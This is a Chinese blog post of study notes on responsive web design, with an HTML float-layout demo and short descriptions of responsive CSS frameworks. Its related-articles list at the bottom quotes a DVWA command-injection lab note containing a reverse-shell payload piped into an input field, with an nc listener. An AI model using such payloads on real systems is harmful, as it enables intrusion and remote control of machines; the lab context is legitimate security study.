首页 > 其他分享 >前端学习笔记-响应式设计-20221027

前端学习笔记-响应式设计-20221027

时间:2022-10-27 18:55:53浏览次数:82  
标签:Web 框架 20221027 前端 笔记 响应 UI 设计 CSS

HTML 响应式 Web 设计

1.定义:能够以可变尺寸传递网页。RWP(Responsive Web Design),对于平板和移动设备是必须的。

响应式网页设计基于流动布局(Fluid Grid)技术,有效解决了跨平台浏览尺寸不符的问题,得到最佳的显示效果

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Document</title>
    <style>
        .city{
            float: left;
            margin: 5px;
            padding: 15px;
            width: 300px;
            height: 300px;
            border: 1px solid black;
        }
    </style>
</head>
<body>
    <h1>W3school Demo</h1>
    <h2>resize this responsive page</h2>
    <div class="city">
        <h2>London</h2>
        <p>
            London is the capital city of England.
        </p>
        <p>
            It is the most populous city in the United Kingdom,
with a metropolitan area of over 13 million inhabitants.
        </p>
        
    </div>
    <div class="city">
        <h2>Paris</h2>
        <p>
            Paris is the capital and most populous city of France.
        </p>
    <div class="city">
        <h2>Toyko</h2>
        <p>
            Tokyo is the capital of Japan, the center of the Greater Tokyo Area,
and the most populous metropolitan area in the world.
        </p>
    </div>

    </div>
</body>
</html>

 补充:

响应式设计在2012年被提的比较多,但是响应式设计仍然在不断变化,不断创新。比如,新的设备不断出来(iPad Mini),这让以前的设计想法土崩瓦解。而各种Web的响应式设计也获得了越来越多的注意,“让人们忘记设备尺寸”的理念将更快地驱动响应式设计,所以Web设计也将迎来更多的响应式设计元素。

Gumby Framework Gumby 2是建立在Sass基础上的。Sass是一款非常强大的CSS 预处理器,允许用户自主快速的开发扩展Gumby,同时提供很多新的工具来自定义和扩展Gumby框架。Gumby 2是一个非常棒的响应式CSS框架。 Get UI Kit Get UI Kit是一款轻量级、模块化的前端框架,可快速构建强大的web前端界面,而且,它是一款开源的前端UI界面的框架,可以无任何限制的使用UIKit 来创建自己的风格。 Foundation Foundation是一个易用、强大而且灵活的框架,用于构建基于任何设备上的Web应用。提供多种Web上的UI 组件,如表单、按钮、 标签等。 Semantic UI是Web的灵魂,Semantic是为工程师而制作的可复用的开源前端框架。提供各种UI组件,使得开发更加直观、易于理解。 52Framework 52 Framework主要用于优化HTML5和CSS3的跨浏览器兼容性的框架,可在所有主流浏览器上运行。 PureCSS Pure是一组小的、响应式CSS模块,可用于任意Web项目中。它可作为每个网站或Web应用的起步工具,帮助开发者处理应用程序所需的所有CSS工作,同时不会让每个应用千篇一律。 Responsablecss Responsable使用最少的Sass,带给你最合适的响应式框架。 TukTuk TukTuk支持代码重用功能,提供更加快速、高效的样式列表,易于添加与维护。 Kube Kube是全球最为流行、最灵活的CSS框架之一。其带给你最强大的功能选择,极具创意性与美观性。 Ivory Ivory是一款强大、灵活、易用的响应式框架。 Ivory基于12列的响应式网格布局,包含表格,按钮,表格,分页,拨动开关,工具提示,手风琴,选项卡等网站中常用的组件和样式。

 

标签:Web,框架,20221027,前端,笔记,响应,UI,设计,CSS
From: https://www.cnblogs.com/zhangrong789/p/16832511.html

相关文章

  • 学习笔记 - 什么是计算机
    什么是计算机Computer:全称电子计算机,俗称电脑。能够按照程序运行,自动、高速处理海量数据的现代智能电子设备。由硬件和软件组成常见的形式有台式计算机、笔记本计算机......
  • 【笔记02】Javascript - 基本概念 - (语句、练习)
    Javascript基本概念:语句if、ifelsefor 循环while 循环dowhile 循环switchcasebreakcontinueif、ifelse语法:if(条件){语句}elseif(){语句}else{语句}条件成......
  • 计算机组成原理——学习笔记1
    一.计算机硬件的基本组成1.计算机的发展历程:2.冯诺依曼计算机:存储程序:是指将指令以二进制的形式输入存储在计算机中的主存储器中,然后按其在主存储器中的首地址执行......
  • 【JavaWeb】会话的学习笔记:Cookie和Session的知识点,这一次我总算学明白了
    @[Toc]1会话1.1什么是会话?用户打开浏览器,访问Web服务器的资源,会话建立,直到有一方断开连接,会话结束。在一次会话中可以包含多次请求和响应。1.2会话跟踪一种维护浏览器状......
  • 前端Vue2-Day60
    Vue路由:vue-router(实现SPA应用) SPA应用:①单页web应用。②整个应用只有一个完整的页面。③点击页面中的导航链接不会刷新页面,只会做页面的局部更新。④数据需要......
  • Vue面试题41:如何监听vuex状态变化?(总结自B站up主‘前端杨村长’视频,仅供自用学习)
    vuex数据状态是响应式的,所以状态变视图跟着变,但是有时还是需要知道数据状态变了从而做一些事情,既然状态都是响应式的,那自然可以使用watch,另外vuex也提供了订阅的API:stor......
  • vue+mysql实现前端对接数据库
    下载引入相关依赖1、cnpminstall--savemysql2、cnpminstall--saveaxios3、cnpminstall--savebody-parser4、cnpminstall--saveexpress5、cnpminstall--......
  • emacs org guide 学习笔记 2
    6Tagstags主要使用字母,数字,_和@这些来组成,并且前后都需要有:,多个tag可以同时使用,比如::work:urgent:tag继承多层级标题中的tag会被自动继承,虽然并没有直接......
  • kali 漏洞篇-命令注入 学习笔记
    反弹shell在kali上使用nc监听端口nc-lvnp5555,在dvwaweb页面输入攻击payload: 127.0.0.1|bash-i>&/dev/tcp/172.16.1.2/55550>&1 命令注入常见函数eval(......
  • 前端项目管理器指令
    我之前把npm的代理设置为了淘宝镜像设置npmconfigsetregistryhttps://registry.npmmirror.com/获取npmconfiggetregistry然后在安装一个最新更新的包时,产生了......